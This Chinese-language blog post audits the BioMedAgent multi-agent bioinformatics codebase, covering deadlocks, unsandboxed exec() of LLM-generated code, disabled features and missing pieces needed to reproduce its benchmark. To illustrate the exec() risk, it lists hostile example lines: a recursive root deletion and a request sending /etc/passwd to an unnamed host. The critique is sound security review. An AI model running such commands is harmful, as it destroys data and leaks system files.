乐于分享
好东西不私藏

别再鼓吹BioMedAgent了!深度源码审计:一个77%成功率背后的真相

别再鼓吹BioMedAgent了!深度源码审计:一个77%成功率背后的真相

最近BioMedAgent这篇论文在生信圈挺火的——号称用多智能体框架实现自然语言驱动的生物医学数据分析,327道题77%成功率。听起来很美对吧?我花了两天时间把源码从头到尾读了一遍,发现事情没那么简单。今天这篇文章,有夸的地方,也有锤的地方,每一条缺陷都附源码,不服来辩。

先说优点,客观公正

在开锤之前,先承认BioMedAgent确实有一些值得学习的设计:

1. 多步工具评分筛选机制

生信工具几百个,不可能全塞给LLM。BioMedAgent设计了三步筛选:ToolScorer初评(0-10分) → ToolDescriptor描述高分工具 → ToolReScorer结合描述重评。这个设计是合理的,避免了token浪费和LLM选择困难。

2. Programmer-Tester协作模式

Programmer生成代码,Tester写测试验证,失败了由Tester分析原因再让Programmer修。这种双Agent协作+自动重试的模式,在代码生成领域是被验证过的有效范式,类似AutoGen的思路。

3. Docker容器化工具执行

工具代码通过Docker容器执行R脚本等外部工具,做到了语言无关和环境隔离。这个设计本身是正确的:

# tool/code/survival_curve(第6-36行)
client = docker.from_env()
container = client.containers.run(**container_config)
command = f"Rscript /mnt/zhangshan/clinical_tools/survival_curve/survival_curve.R ..."
result = container.exec_run(command)
container.stop()
container.remove()

Python只做wrapper,真正的计算在容器里跑,大文件不会加载到Python内存。理论上在足够大的服务器上跑WGS也是可行的。

4. 工作流重设计机制

某个阶段失败了,不是整体失败,而是由WorkflowReDesigner根据失败原因重新设计工作流,最多重试3次。这种容错设计是务实的。

5. 异步并发的Agent调度

ToolScorer、FileAnalyst等Agent在对多个工具/文件评分时用了asyncio并发,不是傻傻串行。


好了,优点说完了。下面开始上源码。


致命缺陷一:GPT请求丢失 + 无限等待 = 死锁

这是我认为最严重的问题,两段代码组合在一起,直接导致整个流程永久挂死

第一段:GPTServer遇到token超限时,直接丢弃请求

# server/gpt.py 第32-37行
def on_error(self, e: Exception, data):
    self.config.log_error(self.SERVER_KEY,"".join(traceback.format_exception(e)))
if"string_above_max_length"in"".join(traceback.format_exception(e)):
return# 直接return!不往Redis写任何结果!
    elif "context_length_exceeded"in"".join(traceback.format_exception(e)):
return# 同上!

当prompt太长触发OpenAI的token限制时,GPTServer只是记了个日志就return了。不会往Redis里写回任何结果。

注意,对于ProxyError和ConnectionError等临时性错误,GPTServer会把任务重新推回队列重试(第39-44行),这个处理是合理的。但对于token超限这种永久性错误,它选择了静默丢弃——既不写回错误信息,也不重试。

第二段:调用方无限轮询等待结果

# scripts/llm.py 第28-33行
async def wait(uid, config:Config):
    ok = False
while not ok:
        ok, msg = inner(uid, config)
if not ok: await asyncio.sleep(config.LLM_CALL_WAITING_TIME)
return msg

没有超时机制,没有最大重试次数。Redis里永远拿不到结果,这里就永远循环下去

结论:只要有一次prompt超过token限制(在多轮对话中这是迟早的事),整个系统就死锁了。 你在终端看到的现象就是——程序卡住不动了,没有报错,没有输出,什么都没有。Ctrl+C是你唯一的选择。


致命缺陷二:代码执行无活性监控,卡死=全局死锁

同样的无限等待问题,出现在代码执行层:

# scripts/executor.py 第22-27行
def get_code_output(task_id:str, config:Config):
while True:
        result = conn.hget(config.REDIS_EXECUTOR_LIST_DATA_KEY, task_id)
if result is not None:
return json.loads(result)
        time.sleep(config.EXECUTOR_CODE_WAITING_TIME)

while True + 没有任何退出条件。

再看上游,CodeExecutor执行LLM生成的代码:

# server/code_executor.py 第83-89行
namespace ={test_func_name: None}
try:
    exec(code, namespace)# 阻塞:代码跑多久就卡多久
    test_func = namespace[test_func_name]
    result, data = test_func()# 阻塞:函数跑多久就卡多久

如果LLM生成的代码里调用了Docker容器(如survival_curve),容器内的exec_run()也是阻塞的。一旦容器内进程挂死,整条链路就是:

Docker容器卡死 → exec_run()阻塞 → exec()阻塞 
→ CodeExecutor永远不写结果到Redis → get_code_output()永远轮询

什么场景会触发? LLM生成的代码有死循环、Docker容器内R脚本段错误(Segmentation fault)卡住、网络问题导致容器拉取失败等等, 相信每个资深生信工程师都遇到过Segmentation fault吧。

这里不能简单加一个固定超时(比如timeout=300秒)——因为生信分析的执行时间跨度极大:一个t-test可能1秒就跑完,但BWA比对一个WGS样本可能跑好几个小时。设300秒会误杀长任务,设3小时又对短任务失去保护。

正确的做法是空闲超时(idle timeout)——不是限制总运行时间,而是监控进程是否还”活着”。只要还在持续产生输出,就说明在正常运行,继续等;如果连续N秒没有任何新输出,才判定为卡死:

import threading
import time

class DockerExecutor:
"""
    核心思路:
    - 子线程读取Docker输出流
    - 每次收到输出就更新 last_activity 时间戳
    - 主线程定期检查:超过 idle_timeout 没有新输出 → kill容器
    - 正在持续输出的长任务永远不会被误杀
    "
""
    def __init__(self, idle_timeout=120):
        self.idle_timeout = idle_timeout
        self.last_activity = time.time()
        self.output_chunks =[]
        self.finished = False

    def _read_stream(self, container, command):
"""子线程:流式读取容器输出"""
        try:
            exec_id = container.client.api.exec_create(container.id, command)
            stream = container.client.api.exec_start(exec_id, stream=True)
for chunk in stream:
                self.last_activity = time.time()# 有输出 → 重置计时
                self.output_chunks.append(chunk.decode('utf-8', errors='replace'))
        except Exception as e:
            self.error = e
        finally:
            self.finished = True

    def execute(self, container, command):
        reader = threading.Thread(target=self._read_stream, args=(container, command))
        reader.daemon = True
        reader.start()

while not self.finished:
if time.time()- self.last_activity > self.idle_timeout:
                container.stop(timeout=5)
                raise TimeoutError(
                    f"容器连续 {self.idle_timeout}秒 无输出,判定为卡死。"
)
            time.sleep(2)

return''.join(self.output_chunks)

这样BWA跑3小时没问题(因为它持续输出比对进度),但一个真正卡死的进程120秒就会被干掉。区分”还在干活”和”真的卡死了”,这才是正确的超时策略。

但整个BioMedAgent项目里,没有任何一处有超时或活性监控机制


严重缺陷三:exec()执行LLM生成的代码,无预执行安全检查

先看完整的代码执行链路:

Programmer生成代码 → 检查标签是否存在 → Tester生成测试代码
→ 检查标签是否存在 → 两段代码拼接 → 推入Redis → CodeExecutor直接exec()

# server/code_executor.py 第83-89行
namespace ={test_func_name: None}
excepted = False
try:
    exec(code, namespace)
    test_func = namespace[test_func_name]
    result, data = test_func()

公平地说,它有事后纠错机制:exec()外面包了 try/except,能 catch 住 SyntaxError、TypeError、ModuleNotFoundError 等异常,然后把错误信息反馈给 Tester 分析原因,让 Programmer 重写,最多重试4次。对于语法错误和运行时异常,这套纠错是有效的。

但它没有任何预执行检查。 讽刺的是,代码里其实写了预检查的功能,但没有启用:

# agent.py 第203-211行 — 写了 syntax_error_checker,但没有挂到任何Agent上
@staticmethod
def syntax_error_checker(tag_name):
    def checker(response):
        code = ResponseHandler.get_xml_tag_content(response, tag_name)
        try:
            exec(code)
return True
        except:
return False
return checker

Programmer 和 Tester 的 @BaseAgent.retry 装饰器只挂了 xml_tag_checker(“CODE”)(检查XML标签是否存在),没有挂 syntax_error_checker。同样,scripts/prompt.py 里写了 code_reviewer_system 和 code_reviewer_prompt(第318-340行),定义了完整的代码审查提示词,但 agent.py 里没有对应的 CodeReviewer Agent 类demo.py 也没有实例化它。又是”写了但没用”。

真正的风险在哪? 事后 catch 能兜住语法错误和普通异常,但兜不住这些:

  • import os; os.system(“rm -rf /”)
     — 执行成功,文件已删,catch 不住
  • while True: pass
     — 死循环,结合致命缺陷二,永远杀不掉
  • requests.post(“http://…”, data=open(“/etc/passwd”).read())
     — 数据泄露,执行成功

这些不是异常,是”成功执行的危险代码”。没有沙箱、没有文件系统隔离、没有网络限制、没有内存/CPU限制,事后纠错对它们无能为力。

对于论文跑 benchmark 的场景(作者自己的服务器、单用户),事后 catch + 重试够用了。但如果有人真把它部署成多用户服务,这就是一个安全隐患。


中度缺陷四:ActionDesigner是个空壳Agent

这个发现让我很意外。ActionDesigner定义了action_design()方法用于调LLM细化每个stage,但实际调用的actions_design()方法里根本没调用它

# agent.py 第650-663行
async def actions_design(self):
    stages = self.task.status.get("workflow_stages")
    tasks =[]
    actions =[]
for stage in stages:
        tasks.append({"stage": stage})
for task in tasks:
        actions.append({"stage": task["stage"]})
    self.task.status.actions = actions

看清楚了吗?这个方法只是把stages原封不动复制到actions里。没有调用LLM,没有任何细化处理。action_design()方法写了但从来没被调用过。

这意味着Programmer拿到的subtask描述其实就是WorkflowFormatter直接输出的stage文本,没有经过任何”动作设计”的细化。论文里说的”ActionDesigner将工作流阶段分解为可执行动作”,在代码里是一个空操作。


中度缺陷五:GPTServer单线程串行处理,异步是假的

# server/base.py 第57-71行
def run(self):
while True:
if not self.check_alive():
break
        self.heartbeat()
        ok, data = self.get_task()
if not ok:
            time.sleep(self.SLEEP_TIME)
            continue
        self.start_task()
        try:
            self.execute(data)# 同步阻塞!等API返回才能处理下一个
        except Exception as e:
            self.on_error(e, data)
        self.finish_task()

GPTServer继承BaseServer,是单线程同步循环。一次只能处理一个LLM请求。

但Agent流程中大量使用了asyncio并发——比如ToolScorer对所有工具并发评分、FileAnalyst对所有文件并发分析。这些并发请求全部排进Redis队列,然后被GPTServer一个一个串行处理

所以你看到的”异步”其实是半个异步——Agent端是并发提交的,但Server端是串行执行的。如果有10个工具要评分,每次API调用2秒,实际耗时不是并发的2秒,而是串行的20秒。

公平地说,这不影响正确性,只影响速度。而且demo.py里启动GPTServer时可以多启几个线程实例来缓解。但代码里只启了一个。


中度缺陷六:大文件复制策略

# scripts/component.py 第131-136行
for file in self.files:
    print(file['path'])
if not os.path.exists(file['path']):
        raise FileNotFoundError(f"no file:{file['path']=}")
    shutil.copy(file['path'], task_path)

每个任务都把输入文件物理复制到task目录。如果是几KB的CSV没问题,但如果是生信中常见的大文件:

  • WGS的FASTQ:30-50GB/文件,BAM文件:10-30GB/文件,单细胞H5AD:1-5GB/文件

每跑一次任务就复制一份,磁盘很快就满了。改成os.symlink(file[‘path’], os.path.join(task_path, file[‘name’]))即可,零成本。


中度缺陷七:file_reader只支持3种格式

# lab/file_reader.py 第7-9行
appendix = name.split(".")[-1]
if appendix not in["txt","csv","tsv"]:
return False, None

生信中常见的VCF、BAM、BED、GFF、GTF、H5AD、FASTQ、CEL等格式全部返回False, None

公平地说,FileAnalystAgent不完全依赖file_reader——它也会通过LLM根据文件名和后缀推断文件类型。但当USE_FILE_APPENDIX=True时,这些格式的文件内容完全不会被采样传给LLM(因为file_reader直接返回了False),LLM只能看到文件名,无法了解列名、字段结构等关键信息。


中度缺陷八:Status类的__getattr__存在两个Bug

# scripts/component.py 第28-32行
def __getattr__(self, name: str):
    try:
        self.data[name]# Bug 1: 取到值了但没有return
    except:
return self.__getattr__(name)# Bug 2: 无限递归

这段代码有两个问题:

  1. self.data[name]
    取到值了但没有return——结果被丢弃,函数返回None
  2. 取不到值时调用self.__getattr__(name)——参数完全一样,永远不会终止,直到RecursionError

正确的写法应该是:

def __getattr__(self, name: str):
    try:
return self.data[name]
    except KeyError:
        raise AttributeError(f"'{type(self).__name__}' has no attribute '{name}'")

但实际影响需要说清楚: 由于Status__setattr__(第23-26行)会同时往__dict__self.data都写入属性值,所以正常设置过的属性通过status.xxx访问时,Python会直接从__dict__找到,根本不会触发__getattr__。而且实际代码中大量使用的是status.get(“xxx”)方法(第34行),也不经过__getattr__

所以这个bug在正常运行路径上大概率不会触发。但如果有任何地方拼错了属性名(比如status.resourec_pool),不会得到正常的AttributeError提示,而是直接RecursionError崩溃,错误信息完全看不出哪里拼错了。这是一个代码质量问题,不是致命问题。


低度缺陷:被硬编码禁用的功能

Tester自修复被跳过

# agent.py 第1020-1023行
test_result = False  # 硬编码False
test_reason = response["reason"]
if test_result:# 永远不执行
    tester_code = self.fix_test_code(tester_session)

当代码执行失败时,Tester会分析原因。原本的设计意图是:如果问题出在测试代码本身,就让Tester自修复(第1023行);如果问题出在Programmer的代码,就让Programmer重写(第1025行)。但test_result被硬编码为False,Tester自修复的分支永远不会执行。

任务拆分被禁用

# agent.py 第999-1001行
can_ignore = self.check_can_ignore(action)
can_split = self.check_can_split(action)
can_split = False  # 直接覆盖!LLM的判断被忽略

check_can_split确实调用了LLM做判断,但结果在下一行被硬编码覆盖。也就是说这个”任务拆分”功能写了代码、写了prompt、调了LLM——然后把结果扔了。

这两处看起来是开发过程中发现效果不好就硬编码关掉了,但没有清理代码,也没有在注释里说明原因。不影响运行,但说明这些”功能”在论文里可能被描述了但实际并未启用。


其他值得注意的问题

2026年了,第一件事居然是判断用户说的是不是英文?

这个设计让我乐了。用户输入问题后,BioMedAgent做的第一件事不是分析问题、不是匹配工具,而是:

# demo.py 第107-108行
linguist.check_English_task()# 第1步:问LLM"这是英文吗?"
translator.translate_question()# 第2步:不是英文就翻译成英文

专门用了两个Agent,花了两次LLM调用,就为了干一件事:判断语言 + 翻译成英文。

为什么?因为下游所有574行prompt全是英文写的:

# scripts/prompt.py
"You are a tool scorer with biomedical background..."
"You are a program architect..."
"You are a programmer with a background in bioinformatics..."

所以他们的逻辑是:与其改prompt支持中文,不如让用户的输入来适配我的prompt。

而且更有趣的是,看看demo里预设的6个问题——全部都是英文。也就是说Linguist永远返回YES,Translator永远跳过,这两个Agent在demo中从头到尾一次活都没干过

2026年了,GPT-4o-mini、Claude处理中英混搭毫无压力。你花两次API调用做翻译,不如把prompt写成双语的,或者直接信任模型的多语言能力。每个用户每次使用都要多等两次LLM调用的时间和费用,就为了一个在demo里根本没起过作用的功能。

工具路径硬编码

# tool/code/survival_curve 第33行
command = f"Rscript /mnt/zhangshan/clinical_tools/survival_curve/survival_curve.R ..."

# tool/code/cel2matrix 第17-19行
"/mnt/leishuangshuang":{'bind':'/home','mode':'rw'}

/mnt/zhangshan//mnt/leishuangshuang/——这些是开发者服务器上的路径。公平地说,这大概率是留给用户自己部署时修改的,R脚本和Docker镜像需要用户在自己的环境里准备。但代码里没有配置文件、没有环境变量、没有文档说明哪些路径需要改,用户只能自己去翻源码找。

只有3个内置工具

整个tool/code/目录下只有3个工具:cel2matrixsurvival_curvet_test

论文里展示的327道题涵盖了组学分析、机器学习、统计分析、数据可视化等多个领域。其中大量任务(如SVD降维、QQ图、小提琴图)是靠LLM现场写Python代码完成的,不依赖预置工具。这没问题,但这也意味着:BioMedAgent的核心能力其实是”LLM写Python代码”,而不是”智能体调用生信工具链”。 那套复杂的三步工具评分筛选机制,在大多数demo任务中其实没有发挥作用。

re_workflow_prompt的XML标签冲突

System prompt(第487-505行)告诉LLM用标签输出:

# scripts/prompt.py 第488行
re_workflow_system ="""
...wrap your modified workflow in <RESULT></RESULT> tags...
"
""

但User prompt(第507-512行)却告诉LLM用标签:

# scripts/prompt.py 第511行
"""Give me your workflow and wrap it with the <REASON></REASON> tag."""

而代码里handler和checker期望的都是标签:

# agent.py 第1108、1110行
@ResponseHandler.xml_tag_content_handler("RESULT")
@BaseAgent.retry(check_function=ResponseChecker.xml_tag_checker("RESULT"))

System prompt和User prompt给了LLM矛盾的指令。LLM通常会优先听system prompt(输出),所以多数情况下碰巧能过。但这是偶然正确——如果LLM某次听了user prompt输出,解析就会失败,触发retry,浪费一次LLM调用。


灵魂拷问:入口文件为什么叫demo.py?

最后说一个让我破防的发现。

这个项目的入口文件不叫main.py、不叫cli.py、不叫app.py——叫demo.py。我一开始以为是谦虚,看完代码发现,它是真的。

证据一:只能跑6个硬编码的任务,不接受自由输入

# demo.py 第27-29行
parser.add_argument('--task', type=str,
    choices=['machine_learning','statistics_t_test','statistics_qq_plot',
'visualization_survival_plot','visualization_violin_plot','omics'],
    default='machine_learning')

你不能输入自己的问题,不能指定自己的文件。只能从6个预设任务里选一个跑。

证据二:问题和文件路径全部写死

# demo.py 第33-36行
"machine_learning":{
"question":"I have a dataset {heart_disease.csv}, the 'Target' column is the target...",
"files":[{"name":"heart_disease.csv","path":"data/heart_disease.csv"}]
}

6个任务的问题、文件名、文件路径,一个字符都不能改。

证据三:全部数据加起来2.2MB

data/heart_disease.csv          19K
data/TCGA_LIHC_survival.txt     14K
data/boxplot.tsv               979B
data/data1.tsv                 179B
data/group1.tsv                140B
data/plot.tsv                  126K
data/demo.vcf                   58K
data/GSM509787_E1507N.CEL.gz   2.0M

最大的文件是一个2MB的CEL文件。这就是100%的玩具数据。

证据四:零工程化基础设施

该有的

有没有

if __name__ == “__main__” 保护

没有。import一下就自动跑起来

单元测试(test_*.py)

一个都没有

setup.py / pyproject.toml

没有。不能pip install

Dockerfile

没有。虽然工具依赖Docker但部署没有

CI/CD配置

没有

requirements.txt

有,但只写了3个包(redisrequestsBCEmbedding)。实际还依赖dockercolorama等,没列全

证据五:git历史说明一切

e5bce10 Add the demo of survival plot and t-test.
f9ec7ce Add the demo of survival plot and t-test.
ff13b3b Add the demo of machine learning, statistics, visualization and omics.
dd99068 Add the demo of machine learning, statistics, visualization and omics.
8179f10 BioMedAgent
927b9c3 BioMedAgent
...

10个commit,前面全是”BioMedAgent”(大概是初始化和主体开发),后面全是”Add the demo of xxx”。作者自己在每条commit message里都写的是demo

证据六:错误处理——直接崩

# demo.py 第130行
if not ok: raise Exception("Task failed")

工作流重设计3次后还是失败?raise Exception(“Task failed”)——裸异常,没有日志归档,没有状态保存,没有任何用户友好的提示。这不是一个面向用户的程序会做的事,这是一个”跑通了就行”的demo会做的事。

所以真相是什么?

BioMedAgent是一个论文的配套代码(artifact),不是一个软件产品。论文接收了,代码开源了,任务就完成了。

这很正常,学术界大部分论文代码都是这样的。问题是传播到生信圈后变了味——公众号把它包装成”生信人的AI新工具”,让人以为clone下来就能跑自己的分析。实际上你clone下来会发现:工具路径指向别人的服务器,Docker镜像不知道哪里拉,你只能跑那6个预设的demo,跑自己的数据连入口都没有。

但这就引出了一个更致命的问题——


终极拷问:327道题77%成功率,到底是怎么跑出来的?

demo.py只有6个硬编码任务,tool/code/目录只有3个工具。327道题涵盖组学分析、机器学习、统计分析、可视化等多个领域,怎么可能只靠这些就跑出来?

答案是:跑benchmark的基础设施和开源出来的代码,根本不是一套东西。

证据一:隐藏的批量执行器

仓库里有一个 server/batchtask_executor.py,这才是跑benchmark的真正入口:

# server/batchtask_executor.py 第18-26行
class BatchTaskExecutor(BaseServer):
    def get_task(self):
        task_id = self.r.rpop("biomedagent:pool:batch_task:0.2")
if not task_id:
return False, None
        data = self.r.get(f"biomedagent:info:batch_task:{task_id}")
        data = json.loads(data)
        ...

它从Redis队列 biomedagent:pool:batch_task:0.2 里批量取题,每道题包含 questionfilestask_id,跑完整的Agent流程后把结果写回Redis。327道题就是这么一道道跑出来的。

证据二:tool_info.json里有65个工具

adaboost, bam_to_vcf, bam_to_vcf_mutect2, basicunet, bwa_samtools_sambamba,
cellranger_count, deg, enrichment2bubble, fastqc, GSEA, HISAT2, hovernet,
kallisto, KOBAS_enrichment, lefse, mcpcounter, pseudotime, randomforest,
seurat_clustering, seurat_preprocess, ssGSEA, stringtie, svm, vcf_to_maf,
venn, wgcna... 共65个

BWA、CellRanger、HISAT2、Seurat、DEG分析、GSEA、WGCNA——全是正经的主流生信工具。

但打开 tool/code/ 目录一看:

tool/code/
├── cel2matrix        # 有代码
├── survival_curve    # 有代码
└── t_test            # 有代码
# 其他62个工具的代码呢?不在这个仓库里。

65个工具,只开源了3个的实现代码。

证据三:Redis工具加载模式被硬编码禁用

# server/code_executor.py 第75-78行
if True:
    code = self.add_official_tools_code(code)# 从 tool/code/ 目录读 → 只有3个
if False:#TODO
    code = self.add_tools_code(code, ensure_active)# 从 Redis 读 → 65个,但被禁用了

if False: #TODO——Redis模式被显式关掉了。跑benchmark时这行大概率是 if True,65个工具的代码都存在Redis里,运行时动态注入。但开源版本只剩下从本地目录读的3个工具。

证据四:Memory System也被关闭

# config.py 第30-32行
SAVE_MEMORY = False     # 不保存经验记忆
USE_MEMORY = False      # 不使用历史经验
USE_FILE_APPENDIX = False  # 不把文件内容注入prompt

代码里有完整的 MemoryServerTestMemoryToolAgentTestMemoryWorkflowAgent等组件,实现了一套基于语义检索的”经验积累”系统。这就是论文里宣称的**”self-evolving capabilities”**——跑完一道题,把经验存起来,后续的题可以参考。

这套系统的工作原理值得展开说说,因为它是BioMedAgent和普通LLM代码生成器之间最大的区别:

第1道题:没有历史经验 → 纯靠LLM → 跑完后把工具使用经验、工作流经验存入Redis
第2道题:用户提问 → BCEmbedding语义检索Redis里的历史经验 → 找到相似任务的经验
        → 拼进prompt:"Here's a summary of your experiences for reference:【...】"
        → LLM参考历史经验生成代码 → 跑完后再存经验
...
第327道题:积累了大量经验 → 成功率理论上比第1道高很多

语义检索用的是网易有道开源的BCEmbedding RerankerModel,三个组件都在用:

# server/memory_server.py 第13行 — 检索历史工具/工作流经验
self.reranker_model = RerankerModel(model_name_or_path="model/bce-reranker-base_v1")

# server/kb_retriever.py 第16行 — 知识库检索
self.reranker_model = RerankerModel(model_name_or_path="model/bce-reranker-base_v1")

# scripts/retriever.py 第11行 — 匹配历史相似任务实例
self.reranker_model = RerankerModel(model_name_or_path="model/bce-reranker-base_v1")

本质上这是一个面向经验的RAG——不是检索文档,而是检索过去跑过的类似任务的工具选择、工作流设计、代码实现。每次成功执行后,经验被向量化存入Redis,下次遇到相似问题时检索出来注入prompt。如果这套系统真的在benchmark中开启了,那77%的成功率里有多少是”LLM本身的能力”,多少是”站在前面几百道题积累的经验上”,这个贡献比值就很有意思了。

但开源版本里,这一切全部关闭。 而且即使你手动把USE_MEMORY改成True,也跑不起来——模型文件 model/bce-reranker-base_v1 不在仓库里,没有下载说明,没有文档提到你需要去HuggingFace下载这个模型。requirements.txt里写了BCEmbedding==0.1.5这个依赖,但光有包没有模型权重,等于给你装了个引擎但没给油。

拼图完成:跑benchmark的完整架构

论文跑benchmark时:

Redis 里预装了:
├── 327道题(question + files)灌入批量任务队列
├── 65个工具的完整代码和文档存入Redis
├── Docker镜像(bio_r等)部署在作者服务器上
├── Memory System开启,跨任务积累经验
└── USE_FILE_APPENDIX开启,文件内容注入prompt

BatchTaskExecutor 批量执行:
├── 从Redis逐题取出 → 跑完整Agent流程 → 结果写回Redis
├── 工具代码通过Redis模式加载(65个全量工具)
├── 经验系统跨题积累,越跑越准
└── 跑完327道,统计成功率 = 77%

开源出来的版本:

├── 65个工具只剩描述(tool_info.json),代码只有3个
├── Redis工具加载被 if False 禁用
├── Memory System 被 False 关闭
├── USE_FILE_APPENDIX 被 False 关闭
├── BatchTaskExecutor存在但没有题库数据
├── 327道题和对应的数据文件没有提供
├── Docker镜像没有提供
└── 只有 demo.py + 6个硬编码任务 + 2.2MB玩具数据

你拿到的是一辆展厅里的样车。发动机、变速箱、轮胎都在作者的车间里。

我不是说77%的数据造假——BatchTaskExecutor的代码结构完全能支撑批量跑题,tool_info.json里65个工具的描述是真实的,整套架构的设计意图是自洽的。但你没法复现,因为62个工具的实现代码、327道题的题库、对应的数据文件、Docker镜像——都不在这个仓库里。

论文第三个目标”提供可复现的代码让reviewer相信结果”?从开源代码来看,也只能说是部分可复现。Reviewer看到了架构和流程,但如果真要从头跑一遍327道题,用这个仓库是做不到的。

但为什么只开源3个工具?是故意藏着掖着吗?

说句公道话,大概率不是故意隐藏,而是收拾不动

看看那3个已开源工具的结构就明白了。每个”工具”实际上由三层组成:

一个"工具" = Python wrapper(十几行)+ Docker镜像 + 宿主机上的R脚本

Python wrapper 在仓库里,但 R 脚本和 Docker 镜像不在:

# survival_curve 的R脚本在这里:
command = f"Rscript /mnt/zhangshan/clinical_tools/survival_curve/survival_curve.R ..."

# cel2matrix 的R脚本在这里:
"/mnt/leishuangshuang":{'bind':'/home','mode':'rw'}

/mnt/zhangshan//mnt/leishuangshuang/——从路径看,这些R脚本散落在不同团队成员的个人目录里。65个工具背后可能是好几个人的工作成果,分散在不同路径、不同服务器上。

要把这65个工具全部开源出来,作者需要:

  1. 从各个成员的 /mnt/xxx/ 目录里把R脚本全部收集过来
  2. 给每个工具写 Dockerfile(那些 bio_rbiogpt_r 镜像大概率是手动 docker commit 出来的,没有 Dockerfile)
  3. 处理依赖冲突——65个生信工具背后是R、Bioconductor、GATK、BWA、CellRanger、Seurat等几十个软件,版本和依赖各不相同
  4. 写文档,写测试,确保每个工具在别人的机器上也能跑通

这些工具本身确实不是什么护城河——任何生信人都能写一个BWA的wrapper或者Seurat的wrapper。但把65个工具连同它们的环境依赖打包成可分发的形式,是一个比写论文本身还大的工程

学术界的激励结构决定了这个结果:打包65个工具花一个月,但对论文接收零贡献。开源3个意思一下,剩下的”以后再说”——然后永远不会说。这不是阴谋,是理性选择。

所以真正的问题不在作者身上,而在传播链条上。 作者在GitHub上诚实地把入口文件叫做demo.py,是公众号和转发者把它包装成了”生信新工具”。


总结

BioMedAgent作为一篇学术论文的概念验证(proof of concept),展示了多智能体协作解决生信问题的可行性,这个方向是对的。

但作为一个可以实际使用的工具它离”能用”还有相当的距离

问题级别

数量

关键问题

致命(会导致系统挂死)

2

GPT请求丢失死锁、代码执行无活性监控死锁

严重(安全隐患)

1

exec()裸执行LLM生成代码,无沙箱

中度(功能缺失/代码质量)

5

ActionDesigner空壳、GPTServer单线程、大文件复制、格式支持窄、__getattr__递归bug

低度(代码规范/设计)

4+

硬编码禁用功能、XML标签冲突、多余的翻译Agent

工程化

入口是demo.py、无测试、无打包、无部署方案、6个硬编码任务

可复现性

65个工具只开源3个、Redis工具模式禁用、Memory System关闭、327道题库未提供

最后说一句

这篇文章不是要黑BioMedAgent的作者。学术论文提供proof of concept + 配套代码,这是学术界的标准操作,无可厚非。作者做了他们该做的事——提出idea、验证可行性、发表论文。

真正的问题是传播链条上的失真。论文说的是”我们提出了一个框架”,到了公众号就变成了”生信人的AI新工具来了!”,到了读者那里就变成了”我clone下来试试”。结果clone下来发现——6个硬编码任务,工具路径指向作者的服务器,Docker镜像不知道在哪,连个main.py都没有。